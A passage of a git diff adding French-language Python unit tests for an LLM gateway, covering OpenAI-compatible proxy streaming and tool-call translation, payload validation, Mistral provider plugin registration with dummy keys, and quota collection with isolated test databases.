"parameters": {}}}], + "stream": True, + }) + assert reponse.status_code == 200 + corps = reponse.text + assert "read_file" in corps + assert '"finish_reason": "tool_calls"' in corps + assert corps.rstrip().endswith("data: [DONE]") + + +def test_endpoint_finish_reason_stop_sans_outil(client): + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "salut"}], + }) + assert reponse.json()["choices"][0]["finish_reason"] == "stop" + + +def test_bloc_tool_use_anthropic_traduit_en_format_openai(): + """`AnthropicNativeProvider._extract_content` renvoie `{"tool_calls": blocs}` + au format Anthropic (`type: tool_use`, `name`/`input` à la racine). Sans + traduction, le client recevait un appel sans nom d'outil ni arguments.""" + import json as _json + + blocs = [{ + "type": "tool_use", + "id": "toolu_abc", + "name": "read_file", + "input": {"path": "a.py"}, + }] + normalises = openai_proxy._normaliser_tool_calls(blocs) + + assert len(normalises) == 1 + appel = normalises[0] + assert appel["type"] == "function" + assert appel["id"] == "toolu_abc" + assert appel["index"] == 0 + assert appel["function"]["name"] == "read_file" + assert _json.loads(appel["function"]["arguments"]) == {"path": "a.py"} + # Les champs Anthropic bruts ne doivent pas fuiter vers le client. + assert "input" not in appel + assert "name" not in appel + + +def test_reponse_anthropic_complete_ressort_exploitable(): + """Bout en bout depuis ce que renvoie réellement le provider Anthropic.""" + import json as _json + + brut = {"tool_calls": [ + {"type": "tool_use", "id": "toolu_1", "name": "write_file", "input": {"path": "b.py", "content": "x"}}, + ]} + texte, tool_calls = _extraire_reponse(brut) + + assert texte == "" + assert tool_calls[0]["function"]["name"] == "write_file" + assert _json.loads(tool_calls[0]["function"]["arguments"])["path"] == "b.py" + + +def test_bloc_anthropic_sans_type_mais_avec_input_est_traduit(): + """Détection de repli quand `type` manque.""" + normalises = openai_proxy._normaliser_tool_calls([{"id": "x", "name": "f", "input": {"a": 1}}]) + assert normalises[0]["function"]["name"] == "f" + assert normalises[0]["type"] == "function" + + +def test_une_seule_ligne_de_log_par_requete(client, caplog): + """Deux `logger.info` quasi identiques étaient émis par appel.""" + import logging as _logging + + with caplog.at_level(_logging.INFO, logger="api.routes.openai_proxy"): + client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "salut"}], + }) + + lignes = [r for r in caplog.records if "Requête →" in r.getMessage()] + assert len(lignes) == 1 diff --git a/tests/unit/test_openai_proxy_streaming.py b/tests/unit/test_openai_proxy_streaming.py new file mode 100644 index 0000000..4cd59b0 --- /dev/null +++ b/tests/unit/test_openai_proxy_streaming.py @@ -0,0 +1,265 @@ +""" +tests/unit/test_openai_proxy_streaming.py — Streaming token-par-token (#T251). + +Avant #T251, `stream=true` attendait la génération complète puis renvoyait la +réponse en UN SEUL chunk SSE — écran figé côté client, limite documentée dans +le docstring depuis le 15/06. Depuis, la route itère `provider.generate_stream()` +et émet un chunk SSE par token, relayé par `iterate_in_threadpool` : la boucle +d'événements n'est jamais bloquée (pont threadpool). + +Deux chemins, assumés : le flux ne porte que du texte — une requête avec +`tools` reste sur le chemin bufferisé, car un appel d'outil tronqué en morceaux +serait ininterprétable par le client. +""" + +import asyncio +import json +import logging +import time + +import pytest +from fastapi import FastAPI +from fastapi.testclient import TestClient + +from api.routes import openai_proxy +from api.routes.openai_proxy import _streamer_texte + +# ────────────────────────────────────────────────────────────────── +# Helpers de parsing SSE +# ────────────────────────────────────────────────────────────────── + +def _contenus_sse(corps: str) -> list[str]: + """Extrait les deltas `content` non vides des chunks SSE de la réponse.""" + contenus = [] + for ligne in corps.splitlines(): + if not ligne.startswith("data: "): + continue + donnees = ligne[len("data: "):] + if donnees == "[DONE]": + continue + chunk = json.loads(donnees) + delta = chunk["choices"][0]["delta"] + if delta.get("content"): + contenus.append(delta["content"]) + return contenus + + +def _chunks_sse(corps: str) -> list[dict]: + """Tous les chunks JSON de la réponse SSE (hors [DONE]).""" + chunks = [] + for ligne in corps.splitlines(): + if not ligne.startswith("data: "): + continue + donnees = ligne[len("data: "):] + if donnees != "[DONE]": + chunks.append(json.loads(donnees)) + return chunks + + +# ────────────────────────────────────────────────────────────────── +# Provider factice + client FastAPI minimal +# ────────────────────────────────────────────────────────────────── + +class _ProviderFactice: + """Provider de test : generate() bufferisé, generate_stream() scriptable.""" + + def __init__(self, chunks=None, generate_reponse="réponse du modèle"): + self.chunks = list(chunks or []) + self.generate_reponse = generate_reponse + self.appels_generate = [] + self.appels_stream = [] + + def generate(self, system_prompt, user_prompt, **kwargs): + self.appels_generate.append({"system": system_prompt, "user": user_prompt, **kwargs}) + return self.generate_reponse + + def generate_stream(self, system_prompt, user_prompt, **kwargs): + self.appels_stream.append({"system": system_prompt, "user": user_prompt, **kwargs}) + yield from self.chunks + + +@pytest.fixture +def client(monkeypatch): + """App FastAPI minimale portant uniquement le routeur du proxy.""" + provider = _ProviderFactice() + + class _Gateway: + def __init__(self): + self.providers = {"modele-a": object()} + + def get_provider(self, name): + if name.lower() not in self.providers: + raise ValueError(f"Provider LLM inconnu : {name}") + return provider + + def get_provider_for_tier(self, tier, config): + return f"tier-{tier}", provider + + monkeypatch.setattr("core.llm_gateway.LLMGateway", _Gateway, raising=False) + monkeypatch.setattr("core.llm_gateway.load_config", lambda: {}, raising=False) + + app = FastAPI() + app.include_router(openai_proxy.router) + test_client = TestClient(app) + test_client.provider = provider + return test_client + + +def _requete(stream: bool, outils: bool = False) -> dict: + corps = { + "model": "modele-a", + "messages": [{"role": "user", "content": "salut"}], + "stream": stream, + } + if outils: + corps["tools"] = [{"type": "function", "function": {"name": "read_file", "parameters": {}}}] + return corps + + +# ────────────────────────────────────────────────────────────────── +# Streaming token-par-token +# ────────────────────────────────────────────────────────────────── + +def test_streaming_texte_emmet_un_chunk_sse_par_token(client): + """LE test de la tâche : 5 tokens rendus par le provider → au moins 5 + chunks de contenu distincts dans le flux, pas un seul bloc bufferisé.""" + tokens = ["Bon", "jour", " ", "mon", "de"] + client.provider.chunks = ( + [{"token": t, "done": False, "usage": None} for t in tokens] + + [{"token": "", "done": True, "usage": None}] + ) + + reponse = client.post("/v1/chat/completions", json=_requete(stream=True)) + + assert reponse.status_code == 200 + contenus = _contenus_sse(reponse.text) + assert len(contenus) >= 5 + assert len(set(contenus)) == 5, "chaque chunk doit porter du texte distinct" + assert contenus == tokens, "l'ordre et le contenu des tokens doivent être préservés" + assert reponse.text.rstrip().endswith("data: [DONE]") + + # La preuve que le chemin bufferisé n'est PLUS utilisé pour le texte. + assert client.provider.appels_generate == [] + assert len(client.provider.appels_stream) == 1 + + +def test_la_requete_avec_tools_reste_sur_le_chemin_bufferise(client): + """Un appel d'outil tronqué en morceaux serait ininterprétable par le + client : avec `tools`, stream=true garde le chemin bufferisé (tout part en + un seul chunk) et renvoie `finish_reason: "tool_calls"`.""" + client.provider.generate_reponse = { + "role": "assistant", + "content": None, + "tool_calls": [{ + "id": "call_1", + "type": "function", + "function": {"name": "read_file", "arguments": '{"path": "a.py"}'}, + }], + } + + reponse = client.post("/v1/chat/completions", json=_requete(stream=True, outils=True)) + + assert reponse.status_code == 200 + assert '"finish_reason": "tool_calls"' in reponse.text + assert reponse.text.rstrip().endswith("data: [DONE]") + + # Tout l'appel d'outil d'un coup : chunk de contenu + chunk de fin. + chunks = _chunks_sse(reponse.text) + assert len(chunks) == 2 + delta = chunks[0]["choices"][0]["delta"] + assert delta["tool_calls"][0]["function"]["name"] == "read_file" + + # generate_stream n'a PAS été appelé : la voie bufferisée a été prise. + assert client.provider.appels_stream == [] + assert len(client.provider.appels_generate) == 1 + + +def test_exception_apres_deux_tokens_termine_le_flux_proprement(client, caplog): + """Une panne en cours de flux ne peut plus devenir une réponse d'erreur + HTTP (les en-têtes sont déjà partis) : les tokens déjà émis restent, le + flux se ferme proprement et l'erreur est journalisée, pas avalée.""" + + def _generateur_qui_plante(): + yield {"token": "premier", "done": False, "usage": None} + yield {"token": " second", "done": False, "usage": None} + raise RuntimeError("panne réseau simulée") + + client.provider.chunks = _generateur_qui_plante() + + with caplog.at_level(logging.ERROR, logger="api.routes.openai_proxy"): + reponse = client.post("/v1/chat/completions", json=_requete(stream=True)) + + assert reponse.status_code == 200, "aucune exception ne doit fuiter côté serveur" + assert _contenus_sse(reponse.text) == ["premier", " second"] + assert reponse.text.rstrip().endswith("data: [DONE]") + assert any("Streaming interrompu" in r.getMessage() for r in caplog.records) + + +def test_usage_du_generateur_propage_dans_le_dernier_chunk(client): + """`generate_stream` peut remonter un usage réel (stream_options + include_usage) : il ressort sur le dernier chunk, avec finish_reason.""" + client.provider.chunks = [ + {"token": "oui", "done": False, "usage": None}, + {"token": "", "done": True, "usage": { + "prompt_tokens": 12, "completion_tokens": 3, "total_tokens": 15, + }}, + ] + + reponse = client.post("/v1/chat/completions", json=_requete(stream=True)) + + chunks = _chunks_sse(reponse.text) + assert chunks[-1]["choices"][0]["finish_reason"] == "stop" + assert chunks[-1]["usage"] == {"prompt_tokens": 12, "completion_tokens": 3, "total_tokens": 15} + + +# ────────────────────────────────────────────────────────────────── +# Chemin non-streaming et pont threadpool +# ────────────────────────────────────────────────────────────────── + +def test_non_streaming_rend_exactement_le_meme_json_qu_avant(client): + """Le chemin `stream=false` est resté identique : même forme JSON, même + comptage approximatif, generate_stream jamais appelé.""" + reponse = client.post("/v1/chat/completions", json=_requete(stream=False)) + + assert reponse.status_code == 200 + corps = reponse.json() + assert set(corps) == {"id", "object", "created", "model", "choices", "usage"} + assert corps["object"] == "chat.completion" + assert corps["model"] == "modele-a" + choix = corps["choices"][0] + assert set(choix) == {"index", "message", "finish_reason"} + assert choix["index"] == 0 + assert choix["finish_reason"] == "stop" + assert choix["message"] == {"role": "assistant", "content": "réponse du modèle"} + assert corps["usage"]["total_tokens"] == ( + corps["usage"]["prompt_tokens"] + corps["usage"]["completion_tokens"] + ) + assert client.provider.appels_stream == [] + + +@pytest.mark.asyncio +async def test_streamer_texte_utilise_un_pont_threadpool(): + """Preuve mécanique du pont : pendant que le générateur SYNCHRONE dort + (0,2 s), la boucle d'événements continue de tourner — un `asyncio.sleep` + court se termine AVANT le token. Itéré nu, le même générateur gèlerait la + boucle et inverserait l'ordre.""" + + class _ProviderLent: + def generate_stream(self, system_prompt, user_prompt, **kwargs): + time.sleep(0.2) # I/O synchrone simulée + yield {"token": "enfin", "done": True, "usage": None} + + ordre = [] + + async def _tick(): + await asyncio.sleep(0.05) + ordre.append("tick") + + tache_tick = asyncio.create_task(_tick()) + async for _ in _streamer_texte(_ProviderLent(), "modele", "sys", "user", [], None, None): + ordre.append("token") + await tache_tick + + # Sans pont threadpool, "tick" ne pourrait tourner qu'après la fin du + # générateur (0,2 s de sleep synchrone) : "token" précéderait "tick". + assert ordre.index("tick") < ordre.index("token") diff --git a/tests/unit/test_otel_spans.py b/tests/unit/test_otel_spans.py index fdc5bc0..ded95e5 100644 --- a/tests/unit/test_otel_spans.py +++ b/tests/unit/test_otel_spans.py @@ -7,16 +7,13 @@ 3. Les échecs marquent le span ERROR avec llm.error 4. FallbackProvider émet un span par tentative (via in-memory SDK) """ -import asyncio import pytest - from opentelemetry import trace from opentelemetry.sdk.trace import TracerProvider from opentelemetry.sdk.trace.export import SimpleSpanProcessor from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter -from core.otel import llm_span, set_span_tokens, _NoOpSpan - +from core.otel import _NoOpSpan, llm_span, set_span_tokens # ─── Fixture : exporter en mémoire ─────────────────────────────────────────── @@ -100,8 +97,9 @@ def test_set_span_tokens_noop_on_noop_span(): async def test_fallback_provider_emits_span_per_attempt(otel_exporter): """FallbackProvider doit créer un span OTel pour chaque tentative de provider.""" from unittest.mock import AsyncMock - from core.llm.providers.deepseek import FallbackProvider + from core.llm.circuit_breaker import CircuitBreaker + from core.llm.providers.deepseek import FallbackProvider # Nettoyer le registre pour ce test CircuitBreaker._registry.pop("model-primary", None) diff --git a/tests/unit/test_pipeline_payload_contrat.py b/tests/unit/test_pipeline_payload_contrat.py new file mode 100644 index 0000000..db4d864 --- /dev/null +++ b/tests/unit/test_pipeline_payload_contrat.py @@ -0,0 +1,158 @@ +""" +tests/unit/test_pipeline_payload_contrat.py — Contrat de frontière du payload (#T281). + +`run_full_pipeline()` annonçait `initial_payload: Any` : un dict passait la +frontière et mourait plus loin dans core/engine.py sur +`initial_payload.metadata` (AttributeError), avec un message qui ne nommait ni +le paramètre fautif ni ce qui était attendu. + +Ce test verrouille le contrat durci : +- TaskPayload valide → passe tel quel (même objet, aucune copie) +- dict complet → validé en TaskPayload, le pipeline démarre +- dict incomplet → refus avant tout travail, message nommant task_objective +- valeur absurde → refus explicite, jamais d'AttributeError +""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +import services.pipeline_service as pipeline_service +from core.state import GlobalState, StateUpdate, TaskPayload + + +class _FauxEngine: + """Moteur factice : enregistre le payload reçu et rend un état terminal.""" + + def __init__(self): + self.payload_recu = None + self.on_event = None + + async def run(self, initial_payload, starting_agent): + self.payload_recu = initial_payload + return GlobalState( + session_id="s_t281", + history=[StateUpdate(agent_name="planner", status="success", result_data="ok")], + ) + + +class _FauxBridge: + """MCPBridge factice : start/stop sans effet.""" + + async def start(self, *args, **kwargs): + pass + + async def stop(self): + pass + + +def _isoler_effets_de_bord(monkeypatch, faux_engine): + """Branche un moteur factice et neutralise BDD / threads / event store.""" + monkeypatch.setattr( + "services.pipeline_service.monter_moteur", + lambda *a, **k: (faux_engine, object(), _FauxBridge(), object()), + ) + # Session history : écrit en SQLite réel — no-op en test unitaire (sync, + # comme les vrais record_session_start/end appelés sans await). + def _noop(*args, **kwargs): + pass + + monkeypatch.setattr("core.session_history.record_session_start", _noop) + monkeypatch.setattr("core.session_history.record_session_end", _noop) + + # Scan CLI (thread de fond) et EventStore (audit) : indisponibles, les + # blocs try/except de run_full_pipeline les ignorent déjà. + def _indisponible(*args, **kwargs): + raise RuntimeError("effet de bord neutralisé en test unitaire") + + monkeypatch.setattr("core.cli_token_collector.collect_all_cli_tokens", _indisponible) + monkeypatch.setattr("core.event_store.get_event_store", _indisponible) + + +class TestContratPayloadEntree: + """Le contrat de frontière de run_full_pipeline (#T281).""" + + @pytest.mark.asyncio + async def test_dict_incomplet_refuse_avec_champ_nomme(self, monkeypatch): + """Le dict exact du harnais ({"objective": ...}) est refusé avant tout + travail, avec un message qui nomme task_objective — et jamais metadata.""" + monte = [] + + def _marquer_monte(*args, **kwargs): + monte.append(1) + + monkeypatch.setattr("services.pipeline_service.monter_moteur", _marquer_monte) + + res = await pipeline_service.run_full_pipeline( + user_prompt="objectif", + session_id="s_t281_incomplet", + initial_payload={"objective": "objectif"}, + starting_agent="planner", + on_event_callback=None, + config={}, + ) + + assert res["status"] == "error", res + assert "initial_payload" in res["error"], res["error"] + assert "task_objective" in res["error"], res["error"] + assert "metadata" not in res["error"], res["error"] + assert not monte, "le refus doit précéder le montage du moteur" + + @pytest.mark.asyncio + async def test_taskpayload_valide_passe_inchange(self, monkeypatch): + """Un TaskPayload valide arrive au moteur MÊME OBJET (identité, pas de copie).""" + faux_engine = _FauxEngine() + _isoler_effets_de_bord(monkeypatch, faux_engine) + payload = TaskPayload(task_objective="objectif", metadata={"source": "test"}) + + res = await pipeline_service.run_full_pipeline( + user_prompt="objectif", + session_id="s_t281_identique", + initial_payload=payload, + starting_agent="planner", + on_event_callback=None, + config={}, + ) + + assert res["status"] == "completed", res + assert faux_engine.payload_recu is payload, "le TaskPayload doit arriver tel quel" + + @pytest.mark.asyncio + async def test_dict_complet_valide_demarre_le_pipeline(self, monkeypatch): + """Un dict complet et valide est converti en TaskPayload, pipeline démarre.""" + faux_engine = _FauxEngine() + _isoler_effets_de_bord(monkeypatch, faux_engine) + + res = await pipeline_service.run_full_pipeline( + user_prompt="objectif", + session_id="s_t281_dict", + initial_payload={"task_objective": "objectif", "metadata": {"source": "test"}}, + starting_agent="planner", + on_event_callback=None, + config={}, + ) + + assert res["status"] == "completed", res + assert isinstance(faux_engine.payload_recu, TaskPayload) + assert faux_engine.payload_recu.task_objective == "objectif" + assert faux_engine.payload_recu.metadata == {"source": "test"} + + @pytest.mark.asyncio + async def test_valeurs_absurdes_refusees(self, monkeypatch): + """str / None / int : refus explicite qui nomme le type reçu, pas d'AttributeError.""" + for absurde in ("une chaîne", None, 42): + res = await pipeline_service.run_full_pipeline( + user_prompt="objectif", + session_id=f"s_t281_absurde_{type(absurde).__name__}", + initial_payload=absurde, + starting_agent="planner", + on_event_callback=None, + config={}, + ) + assert res["status"] == "error", f"{absurde!r} doit être refusé" + assert "initial_payload" in res["error"], res["error"] + assert type(absurde).__name__ in res["error"], res["error"] + assert "task_objective" in res["error"], res["error"] diff --git a/tests/unit/test_provider_plugin.py b/tests/unit/test_provider_plugin.py new file mode 100644 index 0000000..a260576 --- /dev/null +++ b/tests/unit/test_provider_plugin.py @@ -0,0 +1,249 @@ +""" +tests/unit/test_provider_plugin.py — Contrat de plugin Provider et enregistrement +(#T231, étape 1). + +Scénarios couverts : + - le descripteur est immuable et se projette sur les colonnes réelles des tables ; + - `type` reste le vocabulaire du catalogue (piège de `models_db.py:1121`) ; + - sans clé : `build()` lève et RIEN n'est écrit en base (l'invariant du chantier) ; + - avec clé : transport conforme, une instance par modèle ; + - modèle inconnu refusé ; + - `dry_run` construit sans écrire ; + - les modèles déclarés correspondent à ceux que le gateway câble réellement. + +Aucune écriture dans `models_registry.db` : les upserts sont injectés. Un test qui +écrit dans le catalogue partagé y laisse des lignes fantômes (incident constaté le +03/07 avec `test_sqlite_concurrency.py`). +""" + +import dataclasses + +import pytest + +from core.llm.builtin_providers import MistralPlugin +from core.llm.provider_plugin import ( + CredentialsManquantes, + TransportInvalide, + verifier_interface_transport, +) +from core.llm.provider_registration import register_provider_plugins + +CLE_FACTICE = {"MISTRAL_API_KEY": "cle-de-test-non-fonctionnelle"} + + +class _Upserts: + """Espion d'écriture : mémorise les appels au lieu de toucher la base.""" + + def __init__(self, reussite: bool = True): + self.reussite = reussite + self.providers: list[tuple[str, dict]] = [] + self.modeles: list[tuple[str, dict]] = [] + + def provider(self, provider_id: str, **kwargs) -> bool: + self.providers.append((provider_id, kwargs)) + return self.reussite + + def model(self, model_id: str, **kwargs) -> bool: + self.modeles.append((model_id, kwargs)) + return self.reussite + + +@pytest.fixture() +def espion() -> _Upserts: + return _Upserts() + + +def _enregistrer(espion: _Upserts, credentials: dict, **kwargs): + # Étape 2 : BUILTIN_PROVIDER_PLUGINS porte désormais 17 plugins ; ces tests + # restent focalisés sur le pilote de l'étape 1 (les 16 autres ont leur propre + # couverture dans test_builtin_providers_etape2.py). + return register_provider_plugins( + (MistralPlugin(),), + credentials, + upsert_provider=espion.provider, + upsert_model=espion.model, + **kwargs, + ) + + +# ── Descripteur ─────────────────────────────────────────────────────────────── + + +def test_descripteur_immuable(): + """Un descripteur est une déclaration, jamais un état mutable.""" + descripteur = MistralPlugin().descriptor + with pytest.raises(dataclasses.FrozenInstanceError): + descripteur.cascade_priority = 1.0 # type: ignore[misc] + + +def test_type_reste_le_vocabulaire_du_catalogue(): + """`providers.type` porte le canal commercial, PAS le type de transport. + + `core/models_db.py:1121` filtre sur `type IN ('pay_as_you_go', 'free')` : écrire + "openai_compat" (comme le proposait l'esquisse de conception) ferait disparaître + le provider de cette requête. Le transport a son propre champ, non persisté. + """ + descripteur = MistralPlugin().descriptor + assert descripteur.type in ("pay_as_you_go", "free") + assert descripteur.transport == "openai_compat" + assert "transport" not in descripteur.en_colonnes() + + +def test_projection_sur_les_colonnes_des_tables(): + """Les projections ne produisent que des noms de colonnes existants.""" + colonnes_providers = { + "name", "type", "api_endpoint", "auth_method", + "confidentiality", "cascade_priority", "notes", + } + colonnes_models = { + # [#T254] `status` volontairement absent : le projeter réactiverait à + # chaque démarrage tout modèle désactivé depuis l'IHM. + "provider_id", "display_name", "tier", "routing_tier", + "context_input", "context_output", "cost_input_per_m", "cost_output_per_m", + "supports_tools", "supports_vision", "supports_json_mode", + "supports_streaming", "speciality", "recommended_use", "notes", + } + descripteur = MistralPlugin().descriptor + assert set(descripteur.en_colonnes()) == colonnes_providers + assert descripteur.en_colonnes()["auth_method"] == "api_key" + for spec in descripteur.models: + assert set(spec.en_colonnes("mistral")) == colonnes_models + + +def test_modeles_declares_alignes_sur_le_gateway(): + """Les modèles déclarés sont exactement ceux que le gateway câble aujourd'hui. + + Garde-fou anti-divergence : si `llm_gateway.py` gagne ou perd un modèle Mistral + sans que le plugin suive, ce test tombe — c'est tout l'objet de #T231. + """ + declares = {spec.id for spec in MistralPlugin().descriptor.models} + assert declares == {"mistral-large-latest", "codestral-latest", "open-mistral-nemo"} + + +# ── build() ─────────────────────────────────────────────────────────────────── + + +def test_build_sans_cle_leve(): + with pytest.raises(CredentialsManquantes, match="MISTRAL_API_KEY"): + MistralPlugin().build({}) + + +def test_build_cle_vide_ou_espaces_leve(): + """Une clé présente mais vide est un provider non configuré, pas configuré.""" + with pytest.raises(CredentialsManquantes): + MistralPlugin().build({"MISTRAL_API_KEY": " "}) + + +def test_build_avec_cle_rend_un_transport_conforme(): + transport = MistralPlugin().build(CLE_FACTICE) + verifier_interface_transport(transport) # ne doit pas lever + assert transport.model == "mistral-large-latest" + assert transport.base_url == "https://api.mistral.ai/v1/chat/completions" + assert transport.api_key == CLE_FACTICE["MISTRAL_API_KEY"] + + +def test_build_pour_un_modele_precis(): + transport = MistralPlugin().build(CLE_FACTICE, model="codestral-latest") + assert transport.model == "codestral-latest" + + +def test_alias_de_catalogue_resolu_vers_le_nom_api(): + """Un `id` de catalogue peut être un alias ; c'est `api_model_id` qui part à l'API. + + Vérifié en direct le 10/08 : appeler Cerebras avec `gemma-4-31b-cerebras` (l'alias + du catalogue, choisi parce que `gemma-4-31b` désignait déjà le modèle LM Studio + local) renvoie HTTP 404 ; le vrai nom est `gemma-4-31b`. + """ + from core.llm.provider_plugin import ModelSpec + + alias = ModelSpec(id="gemma-4-31b-cerebras", api_model_id="gemma-4-31b") + direct = ModelSpec(id="mistral-large-latest") + assert alias.nom_api == "gemma-4-31b" + assert direct.nom_api == "mistral-large-latest" + # L'alias reste l'identifiant en base : c'est lui qui doit être unique. + assert alias.en_colonnes("cerebras")["display_name"] == "gemma-4-31b-cerebras" + + +def test_build_modele_inconnu_refuse(): + with pytest.raises(CredentialsManquantes, match="non déclaré"): + MistralPlugin().build(CLE_FACTICE, model="mistral-inexistant") + + +def test_transport_incomplet_rejete(): + class _Partiel: + def generate(self, *a, **k): # pragma: no cover - jamais appelé + return "" + + with pytest.raises(TransportInvalide, match="generate_structured"): + verifier_interface_transport(_Partiel()) + + +# ── Enregistrement ──────────────────────────────────────────────────────────── + + +def test_sans_cle_rien_n_est_ecrit(espion): + """L'invariant du chantier : pas de transport → pas de ligne au catalogue.""" + rapport = _enregistrer(espion, {}) + + assert espion.providers == [] + assert espion.modeles == [] + assert rapport.providers_enregistres == [] + assert "mistral" in rapport.ecartes + assert "MISTRAL_API_KEY" in rapport.ecartes["mistral"] + assert not rapport.ok + + +def test_avec_cle_provider_et_modeles_ecrits(espion): + rapport = _enregistrer(espion, CLE_FACTICE) + + assert rapport.providers_enregistres == ["mistral"] + assert sorted(rapport.modeles_enregistres) == [ + "codestral-latest", "mistral-large-latest", "open-mistral-nemo", + ] + assert rapport.ecartes == {} + assert rapport.ok + + (pid, colonnes), = espion.providers + assert pid == "mistral" + assert colonnes["type"] == "pay_as_you_go" + assert colonnes["cascade_priority"] == 3.8 + assert colonnes["confidentiality"] == "training" + + assert {mid for mid, _ in espion.modeles} == set(rapport.modeles_enregistres) + for _, colonnes_modele in espion.modeles: + assert colonnes_modele["provider_id"] == "mistral" + # [#T254] Le statut n'est plus imposé : à la création le défaut SQL vaut + # 'active', et une désactivation manuelle survit aux redémarrages. + assert "status" not in colonnes_modele + + +def test_un_transport_par_modele(espion): + """Le gateway range une instance PAR modèle : l'enregistrement doit les fournir.""" + rapport = _enregistrer(espion, CLE_FACTICE) + + assert set(rapport.transports) == { + "mistral:mistral-large-latest", + "mistral:codestral-latest", + "mistral:open-mistral-nemo", + } + assert rapport.transports["mistral:codestral-latest"].model == "codestral-latest" + + +def test_dry_run_construit_sans_ecrire(espion): + rapport = _enregistrer(espion, CLE_FACTICE, dry_run=True) + + assert espion.providers == [] + assert espion.modeles == [] + assert len(rapport.transports) == 3 + assert rapport.providers_enregistres == [] + + +def test_echec_d_ecriture_du_provider_n_ecrit_aucun_modele(): + """Si la ligne provider ne passe pas, on n'écrit pas de modèles orphelins + (`models.provider_id` est une clé étrangère vers `providers.id`).""" + espion = _Upserts(reussite=False) + rapport = _enregistrer(espion, CLE_FACTICE) + + assert len(espion.providers) == 1 + assert espion.modeles == [] + assert "mistral" in rapport.ecartes diff --git a/tests/unit/test_pure_helpers.py b/tests/unit/test_pure_helpers.py index f0f7b01..d9ae513 100644 --- a/tests/unit/test_pure_helpers.py +++ b/tests/unit/test_pure_helpers.py @@ -10,8 +10,7 @@ import pytest -from core.errors import classify_error, ErrorCategory, RETRIABLE_CATEGORIES - +from core.errors import RETRIABLE_CATEGORIES, ErrorCategory, classify_error # ── classify_error ── @@ -62,9 +61,9 @@ def test_sanitizer_masks_api_key(): def test_sanitizer_masks_email_and_private_ip(): from tools.sanitizer import OutputSanitizer s = OutputSanitizer() - out = s.sanitize("contact test.user@example.com sur 192.168.1.50") + out = s.sanitize("contact test.user@example.com sur 192.168.1.10") assert "test.user@example.com" not in out - assert "192.168.1.50" not in out + assert "192.168.1.10" not in out def test_sanitizer_disabled_is_passthrough(): diff --git a/tests/unit/test_quota_collector.py b/tests/unit/test_quota_collector.py new file mode 100644 index 0000000..e58eb25 --- /dev/null +++ b/tests/unit/test_quota_collector.py @@ -0,0 +1,303 @@ +""" +tests/unit/test_quota_collector.py — Boucle périodique et fenêtres glissantes (#T269). + +Vérifie que : +- quota_refresh_loop() appelle refresh_all_quotas() à l'intervalle configuré + (horloge simulée, aucune attente réelle dans les tests) ; +- une exception du collecteur est journalisée et ne casse pas la boucle + (l'itération suivante a lieu) ; +- après un rafraîchissement avec des lignes token_usage couvrant plusieurs + fenêtres, used_rpd, used_tph ET used_monthly sont non nuls et cohérents + avec les données injectées ; +- GEMINI_API_KEY_6 (6e clé free seedée dans api_keys) passe en source + 'calculated' — la liste des clés est dérivée de la SSOT, pas codée en dur ; +- un instantané est écrit dans quota_snapshots à chaque rafraîchissement. + +Aucune écriture dans les bases partagées du poste : models_registry.db et +moteur_runtime.db sont isolées dans tmp_path (fixtures standard du repo). +""" + +import asyncio +import logging +import sqlite3 +import threading +import time + +import pytest + +import core.models_db as models_db +import core.quota_collector as qc +import core.runtime_db as runtime_db + +# ────────────────────────────────────────────────────────────────── +# Fixtures & helpers +# ────────────────────────────────────────────────────────────────── + +@pytest.fixture(autouse=True) +def _bases_iso(tmp_path, monkeypatch): + """Isolation stricte : catalogue + runtime dans tmp_path, pas de DeepSeek.""" + monkeypatch.setattr(models_db, "_DB_PATH", str(tmp_path / "models_registry.db")) + monkeypatch.setattr(models_db, "_thread_local", threading.local()) + monkeypatch.setattr(runtime_db, "_DB_PATH", str(tmp_path / "moteur_runtime.db")) + monkeypatch.delenv("DEEPSEEK_API_KEY", raising=False) + + +def _seed_catalogue(): + """Catalogue minimal : clés Gemini free (6) + paid + Anthropic + abonnements.""" + models_db.upsert_provider("gemini_free", name="Gemini Free", type="free_tier") + models_db.upsert_provider("gemini_paid", name="Gemini Paid", type="pay_as_you_go") + models_db.upsert_provider("anthropic_native", name="Anthropic", type="pay_as_you_go") + for i in (1, 2, 3, 4, 5, 6): + key_id = "GEMINI_API_KEY" if i == 1 else f"GEMINI_API_KEY_{i}" + models_db.upsert_api_key( + key_id, provider_id="gemini_free", env_var=key_id, + project_name=f"projet-{i}", key_type="free", + quota_rpm=15, quota_rpd=500, quota_tpm=250000, + ) + models_db.upsert_api_key( + "GEMINI_PAYANT_API_KEY", provider_id="gemini_paid", env_var="GEMINI_PAYANT_API_KEY", + project_name="payant", key_type="paid", + quota_rpm=500, quota_rpd=10000, quota_tpm=4000000, + ) + models_db.upsert_api_key( + "ANTHROPIC_API_KEY", provider_id="anthropic_native", env_var="ANTHROPIC_API_KEY", + project_name="anthropic", key_type="paid", + ) + # Clés touchées par le refresh mais hors périmètre du test : présentes pour + # respecter la FK de quota_realtime (même catalogue que la prod seedée) + models_db.upsert_provider("deepseek", name="DeepSeek", type="pay_as_you_go") + models_db.upsert_provider("cloud_apis", name="Cloud APIs", type="unknown") + models_db.upsert_provider("xai", name="xAI", type="pay_as_you_go") + models_db.upsert_api_key( + "DEEPSEEK_API_KEY", provider_id="deepseek", env_var="DEEPSEEK_API_KEY", + project_name="deepseek", key_type="paid", quota_rpm=60, quota_tpm=1000000, + ) + models_db.upsert_api_key( + "CLOUD_API_KEY", provider_id="cloud_apis", env_var="CLOUD_API_KEY", + project_name="cloud", key_type="paid", + ) + models_db.upsert_api_key( + "XAI_API_KEY", provider_id="xai", env_var="XAI_API_KEY", + project_name="grok", key_type="paid", quota_rpm=60, quota_tpm=1000000, + ) + models_db.upsert_subscription( + "claude_pro", name="Claude Pro", rolling_window_hours=5, + hourly_token_limit=1500000, monthly_token_limit=35000000, + ) + models_db.upsert_subscription( + "gemini_advanced", name="Gemini Advanced", rolling_window_hours=5, + hourly_token_limit=4000000, monthly_token_limit=100000000, + ) + + +def _injecter_token_usage(): + """Lignes token_usage couvrant plusieurs fenêtres (1 h / 24 h / 30 j). + + - gemini-free-flash : 12 appels dans les 24 h → RPD agrégé 12 ; + - claude-cli-abo : 3 appels dans l'heure (1000 tokens) + 7 plus anciens + (< 30 j, 1000 tokens) → 